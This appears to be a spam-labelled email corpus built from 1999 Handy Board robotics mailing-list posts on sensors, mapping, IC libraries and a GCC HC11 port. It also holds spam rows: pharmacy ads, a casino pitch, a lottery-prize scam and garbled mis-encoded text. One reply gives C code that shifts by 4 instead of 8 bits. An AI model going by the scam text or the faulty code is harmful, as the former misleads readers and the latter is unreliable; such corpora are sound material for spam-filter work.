Subject: Sharp GP2D02 I purchased two Sharp GP2D02 infrared sensors from Acroname and downloaded their interface to a Handy Board and Barry Brouilette's interface to the Handy Board. I was wondering which any of you have used and why so I can select one to use on in my project. I am using the expansion board and am also wondering which ports you are plugging the GP2D02's into? Thanks Scott IT Spec. II ACS SCSU ",0,0 Chen Yung Hsu ,michael lang kee ,"Thu, 25 Mar 1999 15:10:20 -0500",Re: Robot Mapping,"I would also like to know about this. please cc any info to me too. =) chen On Thu, 25 Mar 1999, michael lang kee wrote: > Hello, I am working on an autonomous mobile robot. Which has a sonar and > infared sensor incorporated into it. Right now it can avoid objects, by > sensing it and backing up and turning. I want my robot to take the > information from the sensors and map out the terrain. I want to know if > anyone has an algorithm for mapping the terrain. The coding doesn't > matter, I can transform it into code I can use. > > > > > oooo$$$$$$$$$$$$oooo > oo$$$$$$$$$$$$$$$$$$$$$$$$o > oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ > o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ > oo $ $ ""$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ > ""$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ > $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ > $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """"""$$$ > ""$$$""""""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$ > $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$o > o$$"" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o > $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" ""$$$$$$ooooo$$$$o > o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ > $$$$$$$$""$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""""""""""" > """""""" $$$$ ""$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" o$$$ > ""$$$o """"""$$$$$$$$$$$$$$$$$$""$$"" $$$ > $$$o ""$$""""$$$$$$"""""""" o$$$ > $$$$o o$$$"" > ""$$$$o o$$$$$$o""$$$$o o$$$$ > ""$$$$$oo """"$$$$o$$$$$o o$$$$"""" > """"$$$$$oooo ""$$$o$$$$$$$$$"""""" > """"$$$$$$$oo $$$$$$$$$$ > """"""""$$$$$$$$$$$ > $$$$$$$$$$$$ > $$$$$$$$$$"" > ""$$$"""""""" > > > --------------- > Michael Kee - > mlkee@unm.edu - > ______________ > > ",0,0 Max Davies ,handyboard@media.mit.edu,"Thu, 25 Mar 1999 16:10:51 -0500",Re: Help with pointers,"Keith Hearn wrote: > > If you want to point to the low byte of x, you might be able to do > something like this: > > int x; > char * p; /*this assumes that a char is one byte*/ > > p = &x > p++; > > Be warned that that is pretty non-portable code. What it actually does > depends on how big int and char are with the specific > compiler/machine combination, and details like byte ordering within > words. > > The above all applies to ""normal"" C. I'm not exactl sure how IC would > handle it. Actually, in 'normal C', to be completely correct you would cast the pointer conversion to show that you really knew what you were doing, like this: p = (char *) &x Unfortunately, neither the free ware IC nor IC 3.2 support this. Here is another way to retrieve the individual bytes of an int: lo_byte = x & 0xff; hi_byte = (x >> 4) & 0xff; Setting the individual bytes is a bit more complicated: x = (x & 0xff00) | lo_byte; x = (x & 0x00ff) | (hi_byte << 4); If you wanted to set both bytes at the same time you could use: x = (hi_byte << 4) | lo_byte; These should work fine in IC and are fairly portable in that changes in byte ordering don't affect them. Just keep in mind that in other environments an int is often 4 bytes long rather than just 2.",0,0 Ted Mylenbusch ,"Handyboard , michael lang kee ","Thu, 25 Mar 1999 19:29:00 -0500",RE: Robot Mapping,"Check this reference out: ""Autonomous Agent Map Construction in Unknown Enclosed Environments"", Keith L. Doty and Steven L. Seed, Machine Intelligence Lab, DEE, University of Florida, Gainesville, FL and Chapter 10 of: ""Sensors for Mobile Robots, Theory and Application"" by H.R. Everett. Brief mention of grid maps and ranging towards the end of the chapter. Available at Amazon.com and many robot web sites or a good engineering library. Ted Mylenbusch amylen@worldnet.att.net > -----Original Message----- > From: michael lang kee [mailto:mlkee@unm.edu] > Sent: Thursday, March 25, 1999 2:06 PM > To: Stefano Falconetti > Cc: handyboard@media.mit.edu > Subject: Robot Mapping > > > Hello, I am working on an autonomous mobile robot. Which has a sonar and > infared sensor incorporated into it. Right now it can avoid objects, by > sensing it and backing up and turning. I want my robot to take the > information from the sensors and map out the terrain. I want to know if > anyone has an algorithm for mapping the terrain. The coding doesn't > matter, I can transform it into code I can use. > > > > > oooo$$$$$$$$$$$$oooo > oo$$$$$$$$$$$$$$$$$$$$$$$$o > oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ > o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ > oo $ $ ""$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ > ""$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ > $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ > $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """"""$$$ > ""$$$""""""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$ > $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$o > o$$"" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o > $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" > ""$$$$$$ooooo$$$$o > o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ > o$$$$$$$$$$$$$$$$$ > $$$$$$$$""$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""""""""""" > """""""" $$$$ ""$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" o$$$ > ""$$$o """"""$$$$$$$$$$$$$$$$$$""$$"" $$$ > $$$o ""$$""""$$$$$$"""""""" o$$$ > $$$$o o$$$"" > ""$$$$o o$$$$$$o""$$$$o o$$$$ > ""$$$$$oo """"$$$$o$$$$$o o$$$$"""" > """"$$$$$oooo ""$$$o$$$$$$$$$"""""" > """"$$$$$$$oo $$$$$$$$$$ > """"""""$$$$$$$$$$$ > $$$$$$$$$$$$ > $$$$$$$$$$"" > ""$$$"""""""" > > > --------------- > Michael Kee - > mlkee@unm.edu - > ______________ > ",0,0 Steve Chamberlin ,handyboard@media.mit.edu,"Thu, 25 Mar 1999 17:05:34 -0800",Re: Robot Mapping,"michael lang kee wrote: > > Hello, I am working on an autonomous mobile robot. Which has a sonar and > infared sensor incorporated into it. Right now it can avoid objects, by > sensing it and backing up and turning. I want my robot to take the > information from the sensors and map out the terrain. I want to know if > anyone has an algorithm for mapping the terrain. The coding doesn't > matter, I can transform it into code I can use. I've been thinking about this too. The problem as I see it is that without some shaft encoders on the wheels, your robot doesn't really know how far it's moved, and therefore where it is in the map. If you power on the forward motor for 2 seconds, bump something, and go reverse for 2 seconds, where are you? Probably somewhere close to where you started, but not exactly. All of those ""not exactly"" errors will quickly add up over many iterations of forward, back, turn, etc. until the robot has basically no idea where it is relative to its starting position. Bottom line: you really need a way to calculate how far you've moved, or even better an external positional reference, to have much hope of mapping. Assuming you can solve that problem, here's an approach that's probably far from optimal, but it should work. Divide your area to be mapped into grid units, with the size of one grid unit being the size of your robot. Then do a depth-first search of the grid units: while (!all_grids_units_explored) { if (unexplored_neighboring_grid_unit_exists()) go_to_unexplored_neighboring_grid_unit(); else return_to_previous_grid_unit(); } This method will eventually attempt to enter every grid unit, so you can tell which grid units contain obstacles using the sensors. It should be able to find its way through any complex ""maze"" of obstacles too, at least in theory. --Steve ",0,0 """J.W. Pennington"" ",Handyboard ,"Thu, 25 Mar 1999 20:55:18 -0500",[Fwd: Robot Mapping],"-- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________",0,0 Gary Livick ,"""J.W. Pennington"" ","Thu, 25 Mar 1999 18:40:28 -0800",Re: [Fwd: Robot Mapping]," J.W. Pennington wrote: > > I'm beginning the research phase of a robot to work in zero gravity, > where obviously shaft encoders would be useless (and the grid becomes > 3-dimensional, ouch!). > -- Heck, that sounds pretty easy. As long as you know where you start from and you use a cartesian or polar form of V=vsub0 + a*t integrated over time, and you are either working in a vacuum or at such low velocities that c sub d is negligible, it ought to be a snap. ""a"" you can get from one to the cheap accelerometers we've been talking about! No wheel slip to deal with either. Yep, sounds pretty simple to me. Gary Livick (and Max) ",0,0 Kam Leang ,Handyboard ,"Thu, 25 Mar 1999 20:16:34 -0700",Re: [Fwd: Robot Mapping],"-->Heck, that sounds pretty easy. As long as you know where you start from and you use a cartesian or -->polar form of V=vsub0 + a*t integrated over time, and you are either working in a vacuum or at such low -->velocities that c sub d is negligible, it ought to be a snap. ""a"" you can get from one to the cheap -->accelerometers we've been talking about! No wheel slip to deal with either. Yep, sounds pretty simple -->to me. I don't know how much of an affect this may have but integrating over time an accelerometer signal may result in drift. Slight offsets in the acceleration signal due to noise can add up over time as the integration process continues. Therefore, x(t) may be error prone. Maybe periodic calibration can help. Just a thought. --kam http://www.mech.utah.edu/~kleang ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 ==================================================== ",0,1 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 25 Mar 1999 20:53:55 -0700",March 30 Java SIG - Sybase PowerJ and EA Server,"Next Salt Lake Java SIG Meeting: When: Tuesday, March 30, 7:00 - 8:00 PM Where: Room 110, Engineering & Mines Classroom Building (EMCB), Univ.Of Utah Campus Presentation: Mitch Kraker (Sybase Inc.) will present PowerJ and EAServer. PowerJ Enterprise is a comprehensive, highly productive, Java development system that revolutionizes client/server and OLTP application development for the Web by enabling the creation, testing, and deployment of enterprise-class applications. It is designed to deliver rich, universally accessible Java applets, applications, and servlets for low-cost deployment and maintenance in a multi-tier architecture to extend the reach of your enterprise. There will be door prizes and refreshments will be provided by Consult-Net. For further info, go to http://www.psicomp.com/techsig or call Bill Harris at: (801) 582-5004. ",0,1 Stefano Falconetti ,handyboard@media.mit.edu,"Fri, 26 Mar 1999 08:42:33 +0100",Re: HB Memory," Thanks everybody. ",0,0 """Nelson H. F. Beebe"" ","java-users@plot79.math.utah.edu, java-sig@plot79.math.utah.edu","Fri, 26 Mar 1999 06:34:56 -0700","Guy L. Steele, Jr. in person, today","Guy L. Steele, Jr. gave this year's Elliott I. Organick Memorial Lecture last night. Today, he will present another lecture Speculative Parallelism Speeds Up Floating Point Arithmetic 3:30pm Friday, March 26, 1999 104 Engineering and Mines Classrom Building. http://www.cs.utah.edu/outreach/eio.html http://www.cs.utah.edu/~gary/SpecPar.html Besides the lecture, there are two informal meetings: Growing a Language (think, Java) 10:45am EMCB 122 Roundtable discussion 1:30pm MEB 3151 (Computer Science Large Conference Room) Guy is a very productive and influential young computer scientist, with major contributions to several programming languages (Lisp, Common Lisp, Scheme, C, C*, Java, ....), architectures (Lisp Machine, Thinking Machines' Connection Machine, UltraSPARC, ...), and more. If you can find time to attend any of these, I think you'll find them rewarding. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Booker ,'Dwayne' ,"Fri, 26 Dwayne 1999 20:59:21 +0600",stop Premature Ejaculation ," Hi friend: We have quality product to help you Enjoy better sex life. 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Don't bug him though if they doesn't appear right away, I'll probably bug him enough about it myself! It appears that Dr. Barnicki started from the Coactive Aesthetics HC11 port to GCC. I'm anxiously awaiting the 2.8.1 patches as I want a GCC 2.8.1 cross-compiler on Linux. I tried the DOS version last night and it worked, but I didn't download the resulting code to my board to test. Perhaps I or someone else on this list could create a GCC-HC11 RPM file (for Linux), which would make it easier for people to install. Next thing is to take the Miniboard libraries that exist for GCC and create a Handyboard version of the same. Anyone else interested? It looks like it might have been Ken Hornstein that created the Miniboard GCC libraries, based on work by Carlos Puchol of Univ. of Texas (according to the README and the RCS tags). Since there is no copyright info (other than a BSD notice on the printf function), am I free to adapt them for the Handyboard? Ken? Also, it appears that the GCC folks don't know everyone who might have been involved in doing the original HC11 port of GCC (that's what I heard from one of the Cygnus folks). If the people involved could contact the GCC people perhaps the HC11 code could be permanently added to the GCC source tree. If anyone knows the people involved, please urge them to do this. Perhaps they or their friends are subscribed to these lists? Tonight I'll start on a Handyboard GCC library, unless somebody posts back stating it's been done. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 �Ѽ��� ,handyboard@media.mit.edu,"Sat, 27 Mar 1999 00:05:16 +0400",============== 15.88 ���ʿ� ���� ���Ϸ� �� ��..�� �ذ��ϼ���. ============= . dmnc ,������ ���������� ���� ���� ������ ������ ������ ������ ������ ������������ �� ���� ������ ������ �������� ��������. tu v pzzbymiyl ca qlepdckxt rfr,1,1 Becky Browning ,handyboard@media.mit.edu,"Fri, 26 Mar 1999 23:47:33 -0700",Handy Board inputs,"Hi, my name is Becky Browning. I am currently working on building a robot using the Handy Board. I am having considerable troubles though getting either the digital or analog inputs to work. Right now I have analogs ports 0 and 1 working with pre-written programs that I am using for ultrasonic sensors and a servomotor. Is there some kind of initialization command that I need to use to get the other ports working. Or is there different software for the expanded version of the Handy Board that I may need. I have tryed using different Handy Board's as well as different circuits. Also, if anybody has just a simple circuit that they know works with the inputs that will allow me to vary the inputted value so that I can find out if it is a circuit problem or a software problem, I would appreciate it. I am open to any and all suggestions anybody might have regarding this problem. Thanks for your help, Becky Browning rbro3912@stu.oru.edu ",0,0 Barbara Jenkins <060ivo@4state.com>,Handyboard@Media.Mit.Edu,"Sat, 27 Mar 1999 01:13:43 +0300",Casino with superb graphics!," 24HR VEGAS CASINO Play for fun or for real money! - Superb Graphics - New Games (Over 60) - Gamble for free (fun mode) Special features: - Live Mode: Gamble with a live dealer (video stream) - Get up to $888 as a bonus (by simply downloading our free software) ________________________________ To change your mail preferences, go here ",1,0 barry@barry.detroit.sgi.com,handyboard@media.mit.edu,"Sat, 27 Mar 1999 01:40:50 -0500",analog inputs on expansion board,"Hi, Two questions: 1) When I plug a Lego reflectance sensor into the expansion board it seems to work fine. When I use the angle sensor it seems to work fine. When I plug them in at the same time the angle sensor stops working. No change to the program at all, the only difference is that angle sensor is plugged in, if I unplug it the two angle sensors start functioning again. Any ideas? 2) Is there a difference between the analog inputs on the HandyBoard and the ones on the expansion board? Sensors that work fine on analog(2) don't work on analog(16). Am I missing something I should have read in the documentation? Barry ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Sat, 27 Mar 1999 09:32:06 -0500",Re: Handy Board inputs," Hi Becky, If you are using the HB with the expansion board, you *do* need new library files loaded. Check the web site at: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/software .html The easiest way to run new library files is to edit lib_hb.lis to include them. To test the HB inputs w/o the expansion board, run Fred's hbtest.c (included in the IC distribution) and follow the instructions in the assembly manual. I posted a slightly modified version of this code to the list for testing the expansion board inputs. Let me know if you want it and I'll mail it to you directly. Hope this helps, Duncan ",0,1 MSMKatz ,handyboard@media.mit.edu,"Sun, 28 Mar 1999 01:21:20 +0100",Help needed!,"Hi, I have assembled my recently bought Handy Board kit and have run into major problems: In paragraph 6.0.5 of the assembly manual, the Handy Board is tested for the microprocessor and memory circuits. After powering up the board and running IC (version 3.2), I can successfully download the bootstrap code and pcode. After resetting the Handy Board, the message ""IC v3.1 Handy Board 1.2"" plus blinking heart appear on the display and the speaker beeps. So far, so good. After this, the following messages appear on my pc: ""synchronizing with board"" ""pcode version 3.10 present on board"" ""loading c:\\system\\icw32\\libs\\lib_hs.lis"" ""loading c:\\system\\icw32\\libs\\lib_hb.c"" ""loading c:\\system\\icw32\\libs\\r22_ir.lis"" ""loading c:\\system\\icw32\\libs\\r22_ir.icb"" ""loading c:\\system\\icw32\\libs\\r22_ir.c"" ""initializing interrupts"" After this last message, nothing.. The pc keeps waiting for a signal from the Handy Board that isn't there and I have to abort IC. What also happens some times, is that the computer proceeds with: ""downloading 1724 bytes (addresses 8000-86BB):"" followed by a counter showing the number of bytes downloaded. This counter stops at 700 or 1400 bytes, followed by the message ""Board not responding to 98 (b) command"" ""synchronizing with board"" ""board not responding, retrying"" ""board not responding, retrying"" ""board not responding, retrying""....(etc) Resetting the board by switching off and on does not help, the message ""board not responding, retrying"" re-appears every time. After each reset there is a short period of activity on the serial link (green led on the serial board flickers), but after 1 or 2 seconds this stops (green led continuously on) and the heart on Handy Board's display stops beating at the same moment (leaving a small or large 'dead' heart on the display). Quitting IC first and then resetting Handy Board and restarting IC also doesn't help. I've checked and resoldered all solder joints. I've checked all tracks on the Handy Board for shorts and/or open connections (from component to component, with a multimeter). I've checked the orientation of all components a couple of times. Everything seems to be ok! As a next step, I've replaced the memory chip, the 8611 and the 74HC132, the capacitors of the 8611's oscillator circuit and the four elco's for the ICL232 (serial board): no result (sigh..). I've tried both com1 and com2 on my pentium II 350MHz computer, I've tried to run IC version 2.8 from DOS on a 486 computer, but the same problem occurs: Handy Board is not responding (sigh again..). I set my serial ports at 9600 baud, 8 databits, 1 stop bit, no parity, I/O buffers at minimum size. Serial cable and phone cable are both ok, checked and double checked. I downloaded the latest library files from Fred Martin's site: no improvement. The only thing I haven't done yet is to replace the 74HC373 (I am not particularly looking forward to desoldering this thing..), the voltage regulators (all voltages measured are ok) or the ICL232 on the serial board. I've looked through the '97 and '98 archives and found similar problems reported, but no answers (sigh, sigh, sigh). I am completely lost about what to do next and my girl friend starts to object to my bad mood, so please help!! Thanks in advance and best regards, Marc Katz msmkatz@wxs.nl (I've asked Fred Martin to be added to this mailing list just this evening, so if any of you has a quick suggestion: could you please mail me directly? Thanks..) ",0,0 �k�����ŻP���֤H�d�M�� �{�봩�� ���żQ�X ��F�����ť� �O�ҳܨ��z4478950 ,handyboard@media.mit.edu,"Mon, 29 Oct 1894 00:47:36 +0800",Twila~ ���v�W�̱j�v���������U�� >> �C�릳�s�� / ���k�ݤ���635962006 ,CDKRZHEE �s�W����1 �m�M���r���n���b��������DVD��20���������W���M�\\ �������C�� �b�c�d�e�����S�� �����]�n�R�@�M DVD �W���n���e�d�c�b �W��SHE~Selina~�����q�������R(���s���n����) �@ Eri Imai ������ 2/2/1983 155 85-55-85 C-70,1,1 Peter Gasparik ,HandyBoard ,"Sun, 28 Mar 1999 17:52:41 +0800",Java class libraries for HandyBoard,"Users interested in running Java on HandyBoard can now download demonstration application and a set of library class files at http://members.xoom.com/simpleRTJ/handyboard.html Peter Gasparik ",0,1 """Ariadne H. Elwood"" ",Bait ,"Sun, 28 Mar 1999 16:28:16 -0400",Premier,"Tired of low-quality Chinese and Indian medications? Use only the branded one! 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Thanks, Scott ",0,0 masterfunk ,Handyboard@media.mit.edu,,You are still thinking of getting Soft Cialis Tabs for the best erection.,Soft Cialis Tabs cause erection exactly when you need it. http://djklmfghiabce.goldskittles.info/?abcexwnvpydjklmzctfghi=2505547BB00B4BB4B47@BBEB2AD55AA@65E@DA= =2505547BB0OB4BB4B47ABBEB2AD55AAA65EADA=,1,1 Adhara Painter ,handyboard@media.mit.edu,"Sun, 28 Mar 1999 02:01:52 -0700",Re: good CtwALlS,"Hi, X p A e N w A r X q V c I w A c G z R j A i V x A e L e I k U m M u C z I d A m L n I i S f http://www.edgorther.com tutoria prepai familiarl democra passan the one who found him, found them. Villiers was in a high-backed chair, a gun in his hand, his wife lying on the bed, naked, bleeding, dead. He was going to kill himself. It was a proper execution for a traitor, he said, for his devotion to his wife had blinded his judgment and in that blindness he had betrayed his beloved France. ... I convinced him there was another way; it almost worked-thirteen years ago. In a strange house ",1,1 Will Bain ,"MSMKatz , Handyboard Mailing List ","Sun, 28 Mar 1999 10:28:17 -0700",Re: Help needed!,"MSMKatz wrote: > After this, the following messages appear on my pc: > ""synchronizing with board"" > ""pcode version 3.10 present on board"" > ""loading c:\\system\\icw32\\libs\\lib_hs.lis"" > ""loading c:\\system\\icw32\\libs\\lib_hb.c"" > ""loading c:\\system\\icw32\\libs\\r22_ir.lis"" > ""loading c:\\system\\icw32\\libs\\r22_ir.icb"" > ""loading c:\\system\\icw32\\libs\\r22_ir.c"" > ""initializing interrupts"" > > After this last message, nothing.. The pc keeps waiting for a signal > from the Handy Board that isn't there and I have to abort IC. Marc, I wonder if the hardware is perfectly ok, but you're inadvertently attempting to load the wrong software. I'm not sure where your lib_hs.lis came from or why IC automatically loads it, but I think it might be loading the wrong libraries. I was under the impression that the r22 files listed above were for the MIT 6.270 controller board or the Rug Warrior board (I can't remember which). When I start up IC, it automatically loads the files listed in lib_hb.lis, of which there are only two: Synchronizing with board Pcode version 3.10 present on board Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.lis. Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.c. Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.icb. Initializing interrupts Downloading 1142 bytes (addresses 8000-8475): 1142 loaded Downloading 40 bytes (addresses 8476-849D): 40 loaded Downloading 16 bytes (addresses 849E-84AD): 16 loaded Code loaded. This seems to work fine on my Handy Board; perhaps you could try this on yours and let us know if that solves the problem. Best of luck to you! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, I can't take a Will Bain, well-tanned person seriously. & Tatoosh --Cleveland Amory",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 28 Mar 1999 10:48:16 -0700",Re: Polaroid Sonar Device fried!!!!,"SCOTT SHERMAN wrote: > The C3279 chip (""Q1"") on my sonar device fried. I checked the expansion > board and it is assembled correctly. I am not sure why it would fry. I > added the 0.1uF electrolytic capacitor to C7 position as stated in the > sonar.html site and suggeted by an email. Does anyone have any idea why > this would happen? The most common causes would probably be: (1) Not having a transducer hooked up when the ping is initiated; (2) Having the flat flex cable plugged in backwards (you can't trust the stripe to be on the correct side! Make sure pin 1 goes to ground and pin 9 goes to V+); and (3) Too high a voltage to the sonar module (perhaps it's not being regulated properly). Of course, chips sometimes just die for no apparent reason. Good luck! -- Will , , , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, I don't want to achieve immortality through my work. Will Bain, I want to achieve it through not dying. & Tatoosh --Woody Allen ",0,0 MSMKatz ,handyboard@media.mit.edu,"Sun, 28 Mar 1999 21:24:55 +0200",Help needed! Additional info,"Hi everybody! Will Bain alerted me that I was using the wrong library files. I've corrected this, but am still having the ""board not responding"" problem! Any help on this is still very much welcome!! Thanks and best regards, Marc msmkatz@wxs.nl >Marc, I wonder if the hardware is perfectly ok, but you're inadvertently >attempting to load the wrong software. I'm not sure where your >lib_hs.lis came from or why IC automatically loads it, but I think it >might be loading the wrong libraries. I was under the impression that >the r22 files listed above were for the MIT 6.270 controller board or >the Rug Warrior board (I can't remember which). > >When I start up IC, it automatically loads the files listed in >lib_hb.lis, of which there are only two: > >Synchronizing with board >Pcode version 3.10 present on board >Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.lis. >Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.c. >Loading D:\\PROGRAMS\\IC\\libs\\lib_hb.icb. >Initializing interrupts >Downloading 1142 bytes (addresses 8000-8475): 1142 loaded >Downloading 40 bytes (addresses 8476-849D): 40 loaded >Downloading 16 bytes (addresses 849E-84AD): 16 loaded >Code loaded. > >This seems to work fine on my Handy Board; perhaps you could try this on >yours and let us know if that solves the problem. Best of luck to you! > >-- Will ",0,0 Ken Hornstein ,"""Curt Mills, WE7U"" ","Mon, 29 Mar 1999 00:37:34 -0500",Re: GCC 2.8.1 for HC11 ,">It appears that Dr. Barnicki started from the Coactive Aesthetics HC11 >port to GCC. I'm anxiously awaiting the 2.8.1 patches as I want a GCC >2.8.1 cross-compiler on Linux. I tried the DOS version last night and it >worked, but I didn't download the resulting code to my board to test. >Perhaps I or someone else on this list could create a GCC-HC11 RPM file >(for Linux), which would make it easier for people to install. How come you didn't simply use the 2.6.3 cross-compiler? I doubt the optimizer is improved _that_ much for the HC11. >Next thing is to take the Miniboard libraries that exist for GCC and >create a Handyboard version of the same. Anyone else interested? It >looks like it might have been Ken Hornstein that created the Miniboard GCC >libraries, based on work by Carlos Puchol of Univ. of Texas (according to >the README and the RCS tags). Since there is no copyright info (other than >a BSD notice on the printf function), am I free to adapt them for the >Handyboard? Ken? It was a while ago, and I don't remember how much of Carlos's work is left. It all had to be converted to the new assembler syntax anyway. I think I used his code as a guide when implementing the core functionality. But anyway, yes, you have my permission to adapt those libraries to the Handyboard. >Also, it appears that the GCC folks don't know everyone who might have >been involved in doing the original HC11 port of GCC (that's what I heard >from one of the Cygnus folks). If the people involved could contact the >GCC people perhaps the HC11 code could be permanently added to the GCC >source tree. If anyone knows the people involved, please urge them to do >this. Perhaps they or their friends are subscribed to these lists? I think the address I had for the people at Coactive Aesthics who did the GCC port started bouncing a while ago, so perhaps they moved on. >Tonight I'll start on a Handyboard GCC library, unless somebody posts back >stating it's been done. Not me, but it would be a good thing. --Ken ",0,0 Stefano Falconetti ,"Peter Gasparik , HandyBoard ","Mon, 29 Mar 1999 08:32:48 +0200",Re: Java class libraries for HandyBoard,"Thanks a lot, I was just looking for this. Stefano Falconetti ---------- > From: Peter Gasparik > To: HandyBoard > Subject: Java class libraries for HandyBoard > Date: 28 March 1999 11:52 > > Users interested in running Java on HandyBoard can now download > demonstration application and a set of library class files at > > http://members.xoom.com/simpleRTJ/handyboard.html > > > Peter Gasparik",0,1 Stefano Falconetti ,"handyboard discussion list , ""Curt Mills, WE7U"" ","Mon, 29 Mar 1999 08:41:10 +0200",Re: GCC 2.8.1 for HC11,"Excuse me, but I ' ve already heard this ""wookie""...so many times, but what is it ? If it's an reditor, can you say me where can I find a copy ? ---------- > From: Curt Mills, WE7U > To: handyboard@media.mit.edu; robot-board@cmf.nrl.navy.mil > Cc: Curt Mills ; Curt Mills ; Ken Hornstein ; Dave Yoest > Subject: GCC 2.8.1 for HC11 > Date: 26 March 1999 23:30 > > > > A great link for people doing HC11 work: > > www.msoe.edu/eecs/ce/ceb/resources > > Here they have Wookie, a HC11 simulator for Win32, the WinBug11 > downloader, a DOS HC11 simulator, AS6811 and ASLINK (relocatable > assembler), and something I've sought for a while: a GCC 2.8.1 > C-compiler. Go up a directory or two to find lots of docs for some of > these (student senior projects). Some of these tools are specifically set > up for the RugWarrior board. > > I've asked Dr. Barnicki at MSOE if he's going to make the patches for GCC > 2.8.1 available, and he's going to try to get them up on the website > shortly. Don't bug him though if they doesn't appear right away, I'll > probably bug him enough about it myself! > > It appears that Dr. Barnicki started from the Coactive Aesthetics HC11 > port to GCC. I'm anxiously awaiting the 2.8.1 patches as I want a GCC > 2.8.1 cross-compiler on Linux. I tried the DOS version last night and it > worked, but I didn't download the resulting code to my board to test. > Perhaps I or someone else on this list could create a GCC-HC11 RPM file > (for Linux), which would make it easier for people to install. > > Next thing is to take the Miniboard libraries that exist for GCC and > create a Handyboard version of the same. Anyone else interested? It > looks like it might have been Ken Hornstein that created the Miniboard GCC > libraries, based on work by Carlos Puchol of Univ. of Texas (according to > the README and the RCS tags). Since there is no copyright info (other than > a BSD notice on the printf function), am I free to adapt them for the > Handyboard? Ken? > > Also, it appears that the GCC folks don't know everyone who might have > been involved in doing the original HC11 port of GCC (that's what I heard > from one of the Cygnus folks). If the people involved could contact the > GCC people perhaps the HC11 code could be permanently added to the GCC > source tree. If anyone knows the people involved, please urge them to do > this. Perhaps they or their friends are subscribed to these lists? > > Tonight I'll start on a Handyboard GCC library, unless somebody posts back > stating it's been done. > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 PHILMARIA BRAITHWIGHT ,course@bofur.csb.yale.edu,"Mon, 29 Mar 1999 06:51:54 +0200",FINAL NOTICE TO PICK UP YOUR PRIZE !!!2006 EMAIL ADDRESS WINNING RESULT NOTIFICATION.,"LOTTONET GAMING CASINO INTERNATIONAL. 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",1,1 Vicente Macdonald ,course@bofur.csb.yale.edu,"Mon, 29 Mar 1999 22:42:34 -0400",Youngest 